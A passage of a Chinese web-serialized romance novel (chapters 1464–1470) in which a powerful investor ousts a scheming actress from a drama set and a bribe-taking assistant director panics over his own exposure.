《灵媒》最大的投资方是他,韩城盛景炎的跟投只是锦上添花,说到底,这个剧组就是他的一言堂,他想让谁走,谁就必须走,没人能反驳,也没人敢反驳。 从温栩栩被王双双针对的那一刻起,黎昀笙就已经在暗中布局了。 他不是冲动行事,而是要将王双双的底细查得一清二楚,再用最精准的刀,斩断她所有的后路。 他知道王双双会挣扎,会拿协议说事,可他根本不在乎。 他要的,就是让王双双彻底明白,她那些见不得光的手段,在他面前不过是跳梁小丑的把戏。 王双双终于找回了自己的声音,带着浓浓的不甘和怨恨,声音尖利得刺耳:“凭什么让我走?我是签了协议的!我是临时来救场的!《灵媒》剧组的女三号因为车祸住院,你们暂时找不到顶替的女演员,我为了这个角色,甚至还推了一个片约!你们不能这么对我,直接就让我离开剧组!” 她的声音在空旷的片场里回荡,带着几分歇斯底里的疯狂。 她试图用“协议”和“救场”来绑架黎昀笙,想把自己塑造成一个无辜又委屈的角色,可她忘了,站在她面前的是黎昀笙,是那个在商场上杀伐果断、从不给对手留任何余地的男人。 黎昀笙依旧把玩着温栩栩的手,动作从容,仿佛王双双的叫嚣只是耳边无关紧要的噪音。 他连看都没看王双双一眼,只是淡淡地开口,语气轻飘飘的,却带着千钧的重量:“我可以。” 王双双一时没反应过来,瞪圆了眼睛,眼里满是不可置信。 他可以? 他可以什么? 可以无视协议? 可以无视行业规则? 她等着黎昀笙给她一个解释,等着他哪怕有一点点的退让,可黎昀笙依旧保持着那副淡漠的姿态,像是在说一件再平常不过的事。 黎昀笙看着王双双眼底的茫然和不甘,眼底闪过一丝讥讽,那是一种上位者对卑劣者的轻蔑。 他缓缓开口,声音依旧冰冷,却带着一种碾压式的气势:“你现在不离开剧组,是想等我把真相公之于众吗?” 王双双干笑两声,笑声里满是心虚,她强撑着辩解:“我不懂,我不懂你在说什么。”可她的眼神却躲闪着,不敢与黎昀笙对视。 她知道,黎昀笙口中的“真相”,正是她最害怕被揭穿的秘密。 黎昀笙嗤笑一声,那笑声里满是对王双双的嘲讽,像一根根细针,扎在她最脆弱的神经上。 他终于抬眼看向王双双,目光锐利如刀,像是要将她所有的伪装都剥开:“《灵媒》剧组女三号到底是为什么车祸,你心里不清楚?女三号这个角色戏份很重,且人设出彩,加上这部剧的男主角是墨澜,你心里清楚,哪怕是女N号,只要形象正面、演得好,都能出圈。所以,是你故意搞出了那场车祸,逼得她不得不退出剧组,现在来我面前说什么临时来救场,说得自己大义凛然,王双双,你真把人当傻子玩了?” 每一个字都像一把重锤,狠狠砸在王双双的心上。 她惊愕地后退几步,身体撞到身后的道具桌,桌上的剧本和道具散落一地,她却浑然不觉。 她瞪大了眼睛,瞳孔剧烈收缩,难以置信地看着黎昀笙。 她以为自己做得天衣无缝,以为那场车祸只是一场意外,可黎昀笙竟然查得这么清楚,连她的动机都看得一清二楚! 王双双慌了,彻底慌了。 她知道,一旦这个真相被公之于众,她不仅会失去《灵媒》的角色,还会彻底身败名裂,再也没法在娱乐圈立足。她猛地抬起头,声音带着惊慌和绝望的颤抖:“我没有!我没有故意制造车祸!是意外!是意外!” 黎昀笙看着王双双的嘴硬,眼底的嘲讽更甚。 他微微倾身,靠近王双双,那股来自上位者的压迫感瞬间将她笼罩,让她连呼吸都变得困难。 第1465章 被许诺的“好处”迷了眼 他语气平静,却带着一种不容置疑的冰冷:“你这谎话未免太蹩脚了。意外?那场车祸发生前,你跟女三号的经纪人接触过三次,转账记录我都拿到了,车祸现场的刹车痕迹,是人为磨损的,监控也拍到了你的人在车祸前出现在停车场附近。王双双,你觉得,这些证据摆在面前,你还想用‘意外’来敷衍谁?敷衍我?还是敷衍你自己?” 他顿了顿,目光扫过王双双惨白的脸,眼底没有半分同情,只有纯粹的轻蔑:“我黎昀笙做事,从不拖泥带水。你敢动温栩栩,敢用这么卑劣的手段抢角色,就该想到会有今天。离开剧组,是你唯一的出路。否则……”他语气顿了顿,眼底闪过一丝阴鸷,“我不介意让你知道,什么叫真正的身败名裂。” 王双双彻底崩溃了,她瘫坐在地上,看着黎昀笙那双冰冷的眼眸,看着温栩栩站在他身边安稳的样子,突然明白过来。 自己从一开始就错了。 她以为自己可以用算计去攀附权势,以为可以用手段去抢夺不属于自己的东西,可她忘了,黎昀笙不是她能招惹的人,温栩栩也不是她能欺负的对象。 她的不甘、她的怨恨,在黎昀笙的绝对实力面前,不过是笑话一场。 她踉跄着爬起来,连滚带爬地收拾自己的东西,背影狼狈不堪,再也没有了刚才想要讨好黎昀笙时的那副精致模样。 周围的工作人员看着她离开的背影,没有人同情,只有对黎昀笙的敬畏。 他们知道,从今天起,《灵媒》片场不会再有王双双的影子,而温栩栩,会在黎昀笙的护持下,走得更稳、更远。 黎昀笙看着王双双消失在片场门口,眼底的寒意渐渐散去,重新看向温栩栩时,又恢复了那份温柔。 他抬手揉了揉温栩栩的发顶,声音轻下来:“好了,麻烦解决了,以后不会再有人欺负你了。” 温栩栩看着他,眼底满是信任和安心。 她知道,黎昀笙不是冲动行事,他是用最直接的方式,为她扫清了障碍,让她可以安心拍戏,不用再被那些无谓的纷争打扰。 片场重新恢复了忙碌,可空气里还残留着刚才那场对峙的余韵。 所有人都明白,黎昀笙的强势,不仅是为了护着温栩栩,更是为了让所有人知道,温栩栩,是他黎昀笙的人,谁动她,就是跟他黎昀笙作对,下场只有一个,那就是彻底消失。 王双双被黎昀笙当众宣判退组的余波还未散去,片场的空气里仍凝着令人窒息的冷意。 之前与王双双交好的副导演此刻缩在道具架后方,背脊紧紧贴着冰冷的金属支架,连呼吸都刻意放得极轻,仿佛只要自己再发出一点声响,就会成为下一个被黎昀笙盯上的靶子。 他额角渗出细密的汗珠,顺着脸颊滑落,却不敢抬手去擦,只能任由汗水浸湿衣领,指尖因用力攥着剧本而泛白,指节凸起,透着一股濒临崩溃的紧绷。 这位副导演姓周,是总导演秦扬帆的远房表弟。 他素来是个唯利是图的性子,仗着与秦扬帆的亲戚关系,在剧组里没少搞小动作,要么借着职务之便收些小演员的“好处费”,要么故意刁难不给“孝敬”的新人,平日里只要秦扬帆不在场,他便会把片场搅得乌烟瘴气。 这次秦扬帆受邀与墨澜一同参加高奢品牌会,临行前特意千叮咛万嘱咐,让他“安分点,别去招惹温栩栩,那是黎昀笙护着的人”。 当时他还满不在乎地点头应下,心里却觉得秦扬帆太过谨慎,一个靠黎昀笙上位的新人,能有多大的背景? 可谁能想到,自己一时被王双双许诺的“好处”迷了眼,竟真的敢对温栩栩下手! 现在回想起来,周副导演只觉得肠子都悔青了。 王双双当时找到他时,说只要帮着调整温栩栩的拍摄时间,让她连续熬夜拍戏,就给他一笔丰厚的报酬。 他想着反正有秦扬帆的叮嘱,黎昀笙一时半会儿也未必会发现,再加上王双双承诺的钱实在诱人,便鬼迷心窍地应了下来。可他万万没想到,黎昀笙的动作会如此迅速、如此狠厉,不仅直接揭穿了王双双的底细,还将她彻底赶出了剧组,连半点余地都没留。 更让他心惊的是,黎昀笙连《锦绣山河》剧组的旧账都查得一清二楚,那股子“斩草除根”的狠劲,让他这个同样手上不干净的人,吓得魂飞魄散。 此刻,周副导演的脑海里像放电影一样,不断闪过自己过往的种种劣迹,那些收下的贿赂、那些被他故意刁难的新人、那些为了讨好权贵而做的卑劣事。 他很清楚,黎昀笙既然能查到王双双的底细,自然也能查到他。 一旦自己的那些事被曝光,别说在娱乐圈混不下去,恐怕连累及秦扬帆,以后连亲戚都做不成! 他越想越怕,身体忍不住微微发颤,连带着身后的道具架都发出轻微的“吱呀”声,吓得他立刻屏住呼吸,像只受惊的兔子,猛地缩了缩脖子,生怕这点动静引来黎昀笙的注意。 “不行,得躲起来,躲到秦导回来!”周副导演心里暗暗打定主意,趁着工作人员都在关注王双双离开的混乱场面,悄悄挪动脚步,尽量贴着墙边走,想找个更隐蔽的角落藏身。 他的目光时不时地瞥向黎昀笙的方向,见对方正低头与温栩栩说话,态度温和,与刚才宣判王双双时的冰冷判若两人,心里更是又惊又怕。 刚才对王双双的狠厉,现在对温栩栩的温柔,这两种截然不同的态度,恰恰说明了黎昀笙的护短与强势,温栩栩是他的逆鳞,谁碰谁死,而自己,偏偏就撞到了这把锋利的刀刃上! 他想起之前秦扬帆的叮嘱,只觉得当初的自己简直蠢透了。 秦扬帆当时还特意强调,温栩栩不是“靠关系上位”的普通新人,而是黎昀笙放在心尖上护着的人,哪怕只是让温栩栩受一点委屈,黎昀笙都不会放过。 第1466章 越怕什么,越来什么 副导演当时只想着王双双给的好处,完全没把秦扬帆的话当回事,现在倒好,王双双已经身败名裂,他要是不赶紧躲起来,恐怕下场会比王双双更惨! 周副导演蹑手蹑脚地挪到化妆间旁的储物间门口,刚想推门进去,却听见里面传来两个工作人员的议论声,吓得他立刻顿住脚步,贴着门板站着,大气都不敢出。 “你说这周副导演也真是胆大,王双双都敢碰,他不知道温栩栩是黎总的人吗?”一个女工作人员的声音带着几分不屑。 “谁知道呢,我看他就是仗着秦导的亲戚关系,平日里没少干这种事。这次可好,惹到黎总了,我看他还能不能安生。”另一个男工作人员压低声音,语气里满是幸灾乐祸。 “可不是嘛,之前他还收了那个群演的钱,故意不给镜头,结果那群演后来还是找人曝光了,要不是秦导压着,早出事了。他手上肯定不干净,现在黎总在,他要是不躲起来,估计也得完。” 听到这些话,周副导演的脸色愈发惨白,心脏像被一只无形的手攥住,几乎要停止跳动。 他知道自己不能再待下去了,必须尽快找个地方藏起来,等秦扬帆回来,或许还能求求情,保住自己的饭碗。 他咬了咬牙,猛地推开储物间的门,钻了进去,又迅速把门关上,背靠着门板,大口大口地喘着气,仿佛刚从水里捞出来一样。 储物间里堆满了各种道具和杂物,光线昏暗,空气里弥漫着一股尘土的味道。 周副导演坐在角落的箱子上,双手抱着头,眼神里满是惊恐与后悔。 他现在肠子都悔青了。 早知道黎昀笙这么护着温栩栩,自己就算拿了王双双的钱,也不敢动手啊!现在倒好,王双双已经走了,接下来会不会就轮到自己了?他越想越怕,甚至开始在心里盘算,要不要偷偷给秦扬帆打个电话,求他赶紧回来,或者干脆直接跑路,躲到外地去,再也不回娱乐圈了。 就在这时,储物间的门突然被人从外面轻轻敲了敲,周副导演吓得浑身一激灵,差点叫出声来。他屏住呼吸,小心翼翼地问:“谁?” 门外传来助理的声音,语气平静,却带着一股不容拒绝的压迫感:“周副导演,黎总让您去一趟片场,有话跟您说。” 这句话像一道催命符,让周副导演瞬间瘫软在箱子上,脸色比刚才更加惨白,身体不受控制地发抖。 他看着紧闭的储物间门,像看着一扇通往深渊的大门,连抬手开门的勇气都没有。 他知道,躲是躲不过去了,黎昀笙既然派人来叫他,就说明已经查到了他的头上,接下来,等待他的,将是彻底的毁灭。 片场中央,黎昀笙依旧站在温栩栩身边,姿态从容,眼底的温柔未减半分。 可谁都知道,这个看似温和的男人,早已用一场精准的反击,让所有人明白《灵媒》片场,容不下任何对温栩栩不利的人,更容不下任何卑劣的手段。 周明重新回到片场的时候,因王双双被当众宣判退组,片场的空气里弥漫着一种诡异的寂静,连呼吸声都变得小心翼翼。 副导演周明站在人群边缘,身体僵硬得像块木头,双手死死攥着剧本,指节泛白,仿佛那本薄薄的纸页是唯一的救命稻草。 他死死低着头,眼睛盯着自己的鞋尖,连抬起眼皮的勇气都没有。 他怕,怕与黎昀笙的目光撞上,怕那道冰冷的目光像刀子一样刺穿他的伪装,将他所有见不得光的过往都剖开在众人面前。 此刻的周明,像一只被猎人盯上的兔子,浑身的汗毛都竖了起来。 他知道,黎昀笙既然能精准揪出王双双的错处,自然不会忽略自己这个“帮凶”。 王双双不过是台前的棋子,而他,才是那个在暗处操纵棋局、试图伤害温栩栩的人。 刚才黎昀笙对王双双的宣判,每一个字都像重锤砸在他的心上,让他清楚地意识到,自己的末日或许已经不远了。 周围的工作人员们眼神闪烁,你看看我,我看看你,空气中满是无声的交流。 确实,秦扬帆导演的为人大家都清楚。业务能力出众,对作品精益求精,可唯独有个致命的缺点,就是任人唯亲,对身边人太过纵容。 周明是秦扬帆的远房表弟,这份亲戚关系就像一张无形的保护伞,让周明在片场里横行无忌。 大家其实早就看周明不顺眼了,他收贿赂、刁难新人、滥用职权的事,片场里几乎人尽皆知,可碍于秦扬帆的面子,没人敢公开说破。 更讽刺的是,秦扬帆并非不知道身边人的龌龊,只是拉不下脸面去处理。 毕竟都是亲戚,闹开了伤感情也伤面子。 可正是这份纵容,像给周明打了一剂强心针,让他愈发肆无忌惮,甚至产生了“出了事有秦导扛着”的错觉。 在周明的思维里,圈子里的规矩就是“看人下菜碟”,对付身份地位一般的人,靠关系、靠秦扬帆的面子就能摆平,可一旦撞上黎昀笙这种出身显赫、手握实权的大家族子弟,那些所谓的“面子”“关系”,瞬间就成了笑话。 黎昀笙背后站着的是整个黎氏集团,是能在商界、娱乐圈翻云覆雨的存在,根本不会给秦扬帆半分情面。 周明此刻深刻体会到了这种差距带来的恐惧,他就像个在泥潭里挣扎的蝼蚁,而黎昀笙则是高高在上的巨龙,只要轻轻动一动爪子,就能将他碾得粉碎。 此刻的周明,满脑子只有一个念头,躲起来,藏起来,只要黎昀笙看不到他,或许就能逃过一劫。 他甚至在心里盘算着,等会儿趁乱溜去休息室,躲在里面等秦扬帆回来,再求秦导出面说情,或许还能保住饭碗。 可偏偏“越怕什么,越来什么”,就在他悄悄挪动脚步,试图往人群后方退去时,黎昀笙的目光,不偏不倚地落在了他的身上。 第1467章 识趣会办事 那道目光没有温度,像冬日里的寒冰,隔着人群精准地锁定了他。 周明浑身一僵,心脏瞬间提到了嗓子眼,连呼吸都变得急促起来。 他能清晰地感受到那道目光里的压迫感,不是愤怒,不是咆哮,而是一种居高临下的审视,仿佛自己所有的秘密、所有的不堪,都在那双眼睛里无所遁形。 他死死咬着下唇,强迫自己保持镇定,可身体却忍不住微微发颤,连带着手中的剧本都抖得更厉害了。 黎昀笙当然不是蠢货。 甚至可以说,他比任何人都更懂人心,更懂这些小人物的把戏。 从助理汇报王双双的劣迹时,他就已经将周明的所作所为查得一清二楚,调整温栩栩的拍摄时间、故意给她加戏、在片场散布谣言,桩桩件件,都是周明在背后指使。 他今天来片场,本就不是只为了赶走王双双,更是要彻底肃清温栩栩身边的威胁,而周明,就是那个必须被解决的“毒瘤”。 可黎昀笙没有像对待王双双那样,直接当众揭穿周明的罪行。 他很清楚,对王双双用狠厉的手段,是为了杀鸡儆猴,震慑那些想对温栩栩动手的人,可对周明,他选择了更让人心慌的“冷处理”。 他不提,不代表他不知道,反而会让周明陷入无尽的恐慌与猜测,不知道自己到底被查了多少,不知道黎昀笙什么时候会动手,不知道自己会面临怎样的惩罚。 这种未知的恐惧,比直接的宣判更折磨人,能让周明在惶惶不安中彻底失去反抗的勇气,甚至主动露出更多破绽。 片场里,工作人员们的眼神再次开始交流,这次多了几分幸灾乐祸,也多了几分对周明的同情。 他们知道,周明完了,从他选择对温栩栩下手的那一刻起,就注定了结局。 可大家也清楚,秦扬帆的纵容才是根源,如果秦扬帆能早点处理好身边人的事,不给周明这种人作恶的机会,或许就不会有今天的局面。 只是现在说这些都晚了,黎昀笙既然出手,周明就不可能再有翻身的余地。 周明感受到周围人的目光,那些或同情或幸灾乐祸的眼神像针一样扎在他身上。 他此刻只想找个地缝钻进去,可黎昀笙的目光像钉子一样将他钉在原地,动弹不得。 他眼底满是慌乱与绝望,心里不停地叫屈:“我不是故意的,我只是收了钱,我只是想赚点外快,我没想害温栩栩出事啊……” 可他不敢把这些话说出口,他知道,任何辩解在黎昀笙面前都是徒劳。 黎昀笙要的不是他的解释,而是他为自己的行为付出代价。 周明此刻终于明白,自己引以为傲的“亲戚关系”“面子情”,在真正的实力与权势面前,脆弱得像一张纸,一捅就破。他看着黎昀笙身边安稳站着的温栩栩,再看看自己狼狈不堪的模样,心底满是悔恨,早知道温栩栩是黎昀笙的逆鳞,给他一百个胆子,他也不敢动手啊! 黎昀笙依旧没有开口,只是淡淡地瞥了周明一眼,那眼神里满是轻蔑与不屑,仿佛周明只是片场里一个无关紧要的尘埃。 随后,他便转过头,继续与温栩栩轻声交谈,仿佛刚才的对视只是一场无关紧要的插曲。 可正是这份无视,让周明更加崩溃。 他知道,黎昀笙已经将他判定为“待处理的麻烦”,只是还没到处理的时候。 周明站在原地,身体颤抖得越来越厉害,额角的汗珠不断滚落,浸湿了衣领。 他知道,自己躲不过去了,黎昀笙既然已经注意到他,就不会再放过他。 接下来等待他的,或许是比王双双更惨的结局。 身败名裂、再也无法在娱乐圈立足,甚至可能会面临法律的制裁。 片场的风轻轻吹过,带着一丝凉意。 周明站在原地,像一个被宣判了死刑的囚徒,等待着最终的审判。 演员导演李哲快步走到温栩栩身边,脸上堆着恰到好处的笑意,语气带着几分谦和又不失圆滑:“温老师,您跟黎总是老朋友,我们跟黎总也不是太熟,说不上什么话,不如您替我们招待一下黎先生?秦导不在,我们这些底下人也怕说错话,惹了黎总不高兴,您帮我们招待,最合适不过了。” 这话一出,片场里不少工作人员都暗暗点头。 李哲这话说得真是滴水不漏,既抬高了温栩栩,又给黎昀笙留足了面子,还巧妙地回避了“黎昀笙为温栩栩而来”的敏感话题。 毕竟在场的人都看得明明白白,黎昀笙今天来探班,根本不是为了“看看剧组进度”,而是为了给温栩栩站场子。 可这种话能直接说吗? 不能! 一旦说出来,不仅会让温栩栩陷入“靠关系上位”的舆论漩涡,还可能惹恼黎昀笙,显得剧组里的人不懂规矩、没脑子。 李哲这番话,既顺了黎昀笙的心意,又让温栩栩有了名正言顺的“主人”身份,还保全了剧组的体面,可谓是“一石三鸟”,堪称圈内高情商发言的典范。 黎昀笙闻言,多看了李哲一眼,眼底闪过一丝不易察觉的赞许,随后轻轻点了下头,语气淡然却带着认可:“你很不错。” 李哲脸上的笑意更浓了,腰杆也挺得更直了些。 能得到黎昀笙这样的人物一句认可,比他拍十部戏拿个好口碑还让人高兴。 他很清楚,黎昀笙不是随口夸他,而是认可他的“识趣”与“会办事”。 毕竟黎昀笙作为《灵媒》最大的投资方,来探班的目的再明显不过,那些只会拍马屁、却不懂分寸的导演,反而会弄巧成拙,而李哲精准地抓住了关键,既不谄媚,也不刻意,这才是最得体的处理方式。 等黎昀笙和温栩栩并肩走向休息区后,副导演周明终于忍不住了,快步走到李哲身边,阴阳怪气地开口:“你还真是会说话啊,能把黎少哄得这么开心,我看咱们剧组上下,就没谁能比你更会讨人欢心了,是不是?” 第1468章 等他走了,有你好看的 周明的声音不大不小,刚好能让周围几个工作人员听见,语气里满是嫉妒与不服。 他刚才被黎昀笙的目光吓得魂不附体,正愁没地方发泄,现在看到李哲被黎昀笙夸赞,心里更是堵得慌,忍不住出言嘲讽。 李哲闻言,脸上的笑容依旧没变,甚至更温和了几分,语气平静地回应:“我只是做了分内的事情。其实啊,跟人相处,跟拍戏一样,讲究个‘顺其自然’。只要不压榨员工,不故意欺负剧里的演员,把该做的事情做好,很多事情都很好解决。毕竟啊,咱们这行谁也说不准,哪位演员以后就飞黄腾达了,或者身后有贵人撑腰,谁又知道呢?所以啊,还是别得罪人,别做那些没必要的事。” 这话听着像是在聊家常,可字里行间却带着锋芒。 李哲没有直接反驳周明的嘲讽,而是用一种“过来人”的语气,点出了圈内的生存法则,别仗着自己有点关系就为所欲为,因为你永远不知道,自己得罪的人背后站着谁。 这话显然是在敲打周明——你仗着秦扬帆的亲戚关系,在片场里横行无忌,刁难温栩栩,可你没想到温栩栩背后站着的是黎昀笙吧?现在知道怕了?早干嘛去了? 周明的脸色瞬间变得铁青,气得浑身发抖,指着李哲的鼻子嚷道:“你故意的是不是!你就是故意提这件事,想打我的脸,对不对!你就是看我刚才被黎少吓到了,所以才在这儿说这些话羞辱我!” 李哲依旧面带微笑,眼神却多了几分锐利,直视着周明,语气依旧平静,却带着一股让人无法忽视的力量:“我没有故意打你的脸,可你刚才的样子,黎少看着,倒是很想打你的脸。毕竟,温栩栩是黎少护着的人,你动了她,你觉得黎少会放过你吗?” 这句话像一把尖刀,精准地戳中了周明的软肋,也揭开了两人之间矛盾的本质。 周明之所以被黎昀笙盯上,不是因为李哲的“嘲讽”,而是因为他自己做了不该做的事,得罪了不该得罪的人。 李哲没有说错,黎昀笙刚才对周明的无视,本身就是一种态度,一种“我已经知道你做了什么,只是还没收拾你而已”的态度。 周明的脸色瞬间僵住,再也说不出一句话。 他看着李哲那张依旧带着微笑的脸,心里满是憋屈与愤怒,可更多的,是深深的恐惧。 他知道,李哲说的是实话,黎昀笙根本不会给他任何面子,也不会纵容他的行为。 他刚才的嚷嚷,不过是自己在绝望边缘的挣扎,可这种挣扎在黎昀笙的绝对权势面前,显得那么可笑、那么无力。 周围的工作人员看着这一幕,有人忍不住轻轻摇了摇头。 周明平时在片场里嚣张惯了,总觉得自己有秦扬帆的亲戚关系就能为所欲为,可他忘了,圈子里的水有多深,一旦惹到了不该惹的人,再硬的后台也保不住他。 而李哲,看似温和,却在关键时刻展现出了高情商与分寸感,这才是能在圈子里长久立足的本事。 李哲看着周明那副失魂落魄的样子,没有再多说什么,只是轻轻叹了口气。 他知道,周明的结局已经注定了,自己没必要再落井下石。 可偏偏副导演周明觉得自己丢脸了咽不下这口气。 此刻副导演周明脸色铁青,刚才被黎昀笙的目光锁定时的恐惧还未消散,此刻看着李哲那副温和从容的模样,只觉得刺眼至极。 他攥紧拳头,指节因用力而泛白,声音带着压抑不住的嫉妒与慌乱,冲着李哲嘲讽道:“你可真行啊!先是哄得黎昀笙和温栩栩满意,现在又跑我面前来颐指气使,怎么?显得你能耐了?觉得自己比谁都聪明?” 周明故意把“哄”字咬得极重,想用这番话拉低李哲的姿态,让自己心里好受些,仿佛这样就能掩盖他此刻如惊弓之鸟般的慌乱,掩盖他被黎昀笙盯上后那股深入骨髓的恐惧。 李哲闻言,嘴角轻轻勾起,笑意却不达眼底。 他抬手整理了下衣领,姿态从容地看向周明,语气依旧平和,却带着一种居高临下的穿透力:“照你这么说,我确实是挺能的。毕竟啊,也不是谁都能跟黎少说得上话,更别说让黎少点头认可了。就像你——” 他故意顿了顿,目光在周明惨白的脸上扫过,语气慢悠悠地补了一句,“你敢跟黎少搭话吗?我看你现在啊,都快要想钻进缝隙里躲着,巴不得黎少赶紧走,眼不见心不烦吧?” 这话瞬间剖开了周明强装的硬气,露出他内心最真实的怯懦。 周明浑身一震,脸色比刚才更白了几分,嘴唇动了动,却一个字也说不出来。 他确实不敢! 刚才与黎昀笙对视的那一刻,那股冰冷的压迫感还萦绕在心头,让他现在想起来都浑身发颤。 他哪里还敢去讨好黎昀笙? 他现在满脑子都是怎么躲开黎昀笙,怎么不被翻旧账,怎么保住自己在片场的地位,可李哲偏偏戳穿了他这层心思,让他连最后一点伪装都维持不下去。 “你!”周明气得声音发抖,指着李哲的手都在晃,额角的汗珠顺着脸颊往下淌,却顾不上擦。 他咬牙切齿,像是要把所有的不甘都化作一句狠话,冲着李哲吼道:“你最好祈祷黎昀笙能在剧组多待一段时间!不然等他走了,有你好看的!” 这话听起来像威胁,可仔细听却满是色厉内荏的虚弱。 周明心里清楚,黎昀笙根本不会因为他的威胁就改变主意,他不过是想用这种话给自己壮胆,想让李哲也陷入跟他一样的恐慌,好缓解自己内心的不安。 李哲看着周明这副外强中干的模样,眼底的嘲讽更浓了几分。 他往前走了半步,压低声音,语气带着几分戏谑,却字字戳心:“如果我是你,我现在就夹着尾巴做人,老老实实等着黎少的‘审判’。你不会真的以为,黎少刚才没提你的事,就是打算轻飘飘揭过去了吧?” 第1469章 最后的挣扎 他故意放慢语速,每一个字都像重锤,砸在周明的心上,“你不知道黎家人护短这事儿?不说别的,就黎家那个私生子成唯,早就被抛弃了吧?可真出了事,黎家私生子不是照样被帮扶?那还是个没名没分的私生子呢,黎家都能护着。再看黎少呢?黎家板上钉钉的继承人,明面上早就说了要护着温栩栩的,你现在欺负了温栩栩,你以为黎少能放过你?” 李哲的话彻底打开了周明内心恐惧的大门。 周明猛地后退一步,踉跄着撞到了身后的道具箱,发出“哐当”一声响。 他瞪大了眼睛,瞳孔里满是惊骇与绝望。 他当然知道黎家护短的名声,也知道黎昀笙作为继承人的手段有多狠厉。 以前他仗着秦扬帆的亲戚关系,只觉得那些都是传说,离自己很遥远。 可现在,那些传说变成了现实,而他就是那个撞在黎昀笙枪口上的人。 周明的呼吸变得急促,胸口剧烈起伏,他张了张嘴,想反驳,却发现自己根本找不到任何理由。 他想起自己之前对温栩栩做的那些事,故意调整她的拍摄时间,让她连续熬夜超负荷工作,在片场散布谣言,说她靠关系才拿到女主位置……那些在他看来“不算大事”的小事,此刻在黎昀笙的权势面前,都成了足以将他碾碎的罪证。 他甚至能想象到,黎昀笙一旦出手,他的事业、他的生活,都会彻底崩塌。 “我……我没有……”周明的声音越来越小,到最后几乎成了呢喃,眼神涣散,再也没有了刚才的嚣张气焰。 他不再是那个在片场里呼来喝去的副导演,而是一个被恐惧彻底吞噬的可怜虫。 李哲看着周明这副模样,没有再说话,只是轻轻摇了摇头。 他知道,周明完了,从他选择对温栩栩动手的那一刻起,就注定不会有好下场。 而他自己,不过是顺应时势,做了该做的事,既没有落井下石,也没有违背自己的原则。 片场里,其他工作人员看着这一幕,都悄悄屏住了呼吸。 他们知道,周明的结局已经注定,而李哲的圆滑与分寸,再次让他们看到了圈子里生存的智慧,有些人的底线不能碰,有些人的偏爱不能挑衅。 李哲的每一句话都像淬了冰的针,精准地刺进周明的耳膜,也扎进他早已慌乱不堪的心里。 那些看似平静的字句,背后藏着的分明是圈内人尽皆知的规则。 黎昀笙不是多仁慈的人,哪怕他年纪尚轻,眉眼间还带着几分未褪的清俊,可在圈子里,所有人都知道这位黎家少爷的行事风格:说一不二,从不留余地。 那些曾因小觑他而挑衅的人,最后要么销声匿迹,要么落得比周明此刻更惨的下场。 可周明偏偏忘了这条铁律,或者说,他仗着秦扬帆的亲戚身份,盲目地以为自己能在规则之外横行,直到此刻,他才猛然惊觉,自己触碰的是怎样的禁忌。 最致命的是,他得罪的不是旁人,而是黎昀笙争疼着、宠着,甚至不惜为她豪掷上亿投资的爱人。 周明想起刚才温栩栩站在黎昀笙身边,两人眼神交汇时的温柔与笃定,那种亲密无间不是演出来的,而是刻在骨子里的偏爱。 他突然觉得自己的胃里一阵翻江倒海,冷汗顺着额角、脊背往下淌,浸湿了衬衫的后背,黏腻地贴在皮肤上,带来一阵阵寒意。 他刚才还在嘲讽李哲“能耐”,可现在想来,自己才是最没脑子的那个。 李哲至少懂得审时度势,知道该讨好谁、该避开谁,而他呢?竟敢对黎昀笙的逆鳞动手,这不是找死,还能是什么? 周明的唇瓣开始不受控制地哆嗦,像秋风中最后一片枯叶,细微却带着濒临崩溃的颤抖。 他下意识地攥紧拳头,指甲深深嵌入掌心,尖锐的疼痛让他稍微清醒了几分,却丝毫无法驱散心头的恐惧。 他的视线慌乱地扫过片场,道具架、摄像机、工作人员的身影在他眼中都变得模糊而扭曲,仿佛下一秒,那些冰冷的机器就会变成黎昀笙派来的“审判者”,将他所有的狼狈与不堪都公之于众。 他甚至能想象到,王双双被撤换时那如遭雷击的模样,而他,或许会比王双双更惨。 王双双至少还有“收受贿赂”的罪名可查,而他呢? 刁难温栩栩的那些手段,有些根本拿不上台面,可落在黎昀笙眼里,或许比“受贿”更让人厌恶。 “不能慌,不能慌……”周明在心里反复默念着,想强迫自己冷静下来,可身体却完全不听使唤。 他的双腿像灌了铅一样沉重,每走一步都带着千斤重的恐惧,又像踩在棉花上一样虚浮,随时可能摔倒。 他想找个地方躲起来,躲进道具间、躲进化妆间,哪怕只是躲在角落里也好,只要不被黎昀笙看见就好。 可他刚挪动脚步,就感觉背后有一道冰冷的目光锁定了自己,那目光来自休息区的黎昀笙。 他甚至没敢抬头确认,却能清晰地感受到那股如影随形的压迫感,像一张密不透风的网,将他紧紧缠住,让他连呼吸都变得困难。 周明不敢再得罪李哲了。 刚才那句嘲讽,已经是他最后的挣扎,可现在,他连跟李哲说话的勇气都没有。 李哲刚才那番话,不是玩笑,是赤裸裸的警告,也是事实。 黎昀笙不会放过他,而李哲作为在片场里唯一一个没有参与针对温栩栩的人,或许是他唯一能抓住的“救命稻草”。 可他连开口求饶的资格都没有,他怕自己一旦开口,就会惹来黎昀笙更强烈的厌恶,让事情彻底没有转圜的余地。 他只能僵在原地,脸色惨白如纸,额角的汗珠连成线,顺着脸颊往下淌,滴落在地上,晕开一小片深色的痕迹。 周围的工作人员偶尔投来的目光,都让他浑身发紧,仿佛那些目光里都带着“审判”的意味。 第1470章 好喜欢 他想起自己之前刁难温栩栩时,温栩栩眼底的疲惫与倔强,当时他只觉得那是个没背景的小演员,根本不足为惧,可现在想来,那双眼睛里藏着的,或许是黎昀笙的怒火。 他甚至后悔自己为什么要听王双双的蛊惑,为什么要为了那点蝇头小利和虚无的“权力感”,去针对温栩栩? 现在好了,王双双身败名裂,他也即将步其后尘,连秦扬帆的亲戚身份,在黎昀笙面前都成了废纸一张。 “我该怎么办……”周明在心里反复问自己,可脑海里一片空白,除了恐惧,再没有别的念头。 他甚至不敢去看秦扬帆的办公室方向。 他知道,等秦扬帆回来,肯定会质问他,可他该怎么说? 说他因为嫉妒温栩栩的资源,因为王双双的挑唆,就对温栩栩动手? 秦扬帆或许会为了保他而跟黎昀笙周旋,可黎昀笙是谁? 黎家的继承人,圈子里的顶级权贵,秦扬帆的面子,在黎昀笙面前,或许根本不值一提。 到时候,不仅他自己会彻底完蛋,还会连累秦扬帆的声誉,连累整个剧组的进度。 周明的呼吸越来越急促,胸口像被一块巨石压着,每一次吸气都带着刺痛。 